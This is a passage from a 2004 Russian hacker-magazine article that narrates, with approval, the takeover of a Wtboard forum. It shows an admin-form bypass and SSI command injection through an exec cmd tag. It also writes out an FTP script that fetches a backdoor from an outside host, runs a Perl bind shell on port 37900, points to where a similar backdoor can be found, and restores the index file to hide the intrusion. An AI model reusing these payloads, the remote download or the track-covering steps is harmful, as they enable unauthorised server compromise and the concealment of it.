Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #66, ИЮНЬ 2004 г.

Большая дыра в маленьком форуме

Master-lame-master

Xakep, номер #066, стр. 066-048-3


Но так просто изменить параметры форума не получится. При нажатии кнопки «Применить», скрипт ругнется матом и выдаст ошибку аутентификации. Это объясняется тем, что при повторном обращении к сценарию замена не производится. Чтобы исправить ситуацию, нужно сохранить html-документ себе на винт и пропатчить форму, добавив дополнительный hidden-параметр с именем wtbadmin и длинным значением :). Последним штрихом будет замена относительного пути к сценарию полным (в теге <FORM>). Все! Теперь форум полностью в руках злоумышленника.

Бомбим сервер SSI-запросами

История могла закончиться на этой веселой ноте, если бы хакер был простым скрипткиддисом. Тогда бы он выполнил дефейс index.shtml с большой радостью (изменение индекса форума через админку можно сделать очень просто). Но взломщик захотел получить полные привилегии в удаленной системе. Предварительно убедившись, что порты не фильтруются файрволом, сетевой партизан еще больше захотел рутовые права :). Но как взять рута, если у тебя доступ только на чтение файлов (да и то произвольных)? Дело в том, что Wtboard поддерживает SSI-запросы. Более того, главная страница имеет расширение «shtml». Недолго думая, наш герой рисует в конце HEAD-заголовка у индекса нехитрый тег: <!--#exec cmd=”uname -r; whoami”-->. Все это хакер выполняет локально (в заранее пропатченной html’ке). После принятия изменений взломщик топает на главную страницу и видит... заветные строчки - результат выполненных команд. Web-шелл это уже не чтение файлов, с такой фичей взять системные привилегии очень просто.

Следующим запросом была команда «which wget». Оказалось, что wget’а на сервере не было :(. Но бэкдор залить очень хотелось, поэтому нашему герою пришлось извращаться и писать FTP-сценарий, благодаря которому хакерский bd.pl транспортировался на сервант. Для забывчивых (этот листинг много раз появлялся на страницах Digital Hack), напоминаю нехитрый сценарий.

FTP-сценарий для скачивания файла

/bin/echo user hack hackerpass >> /tmp/ftp

/bin/echo get bd.pl /tmp/bd.pl >> /tmp/ftp

/bin/echo quit >>/tmp/ftp

/usr/bin/ftp -n hack.narod.ru < /tmp/ftp

/bin/rm -f /tmp/ftp

Предпоследняя строка запускает консольный клиент ftp с опцией -n (передача логина и пароля в одной строке). Все команды сценария вводились через SSI-запросы (все в той же шапке index-файла).

Системное проникновение

Не буду уточнять приватный адрес FTP, с которого был скачан бэкдор. Аналогичный Perl-файл ты можешь найти по адресу www.drugtext.org/database/library_OpenFile.cfm/bd.pl?ServerFile=bd.pl. Бэкдор прост как 2 рубля - скрипт открывает порт и при соединении запускает /bin/sh. Это все, что было необходимо нашему герою. После отправки последнего SSI-вызова вида: <!--#exec cmd=”/usr/bin/perl /tmp/bd.pl”--> в системе послушно открылся 37900 порт. После всего проделанного взломщик восстановил первичный index.shtml (чтобы замести следы) и приступил к локальному взлому системы.

Назад на стр. 066-048-2  Содержание  Вперед на стр. 066-048-4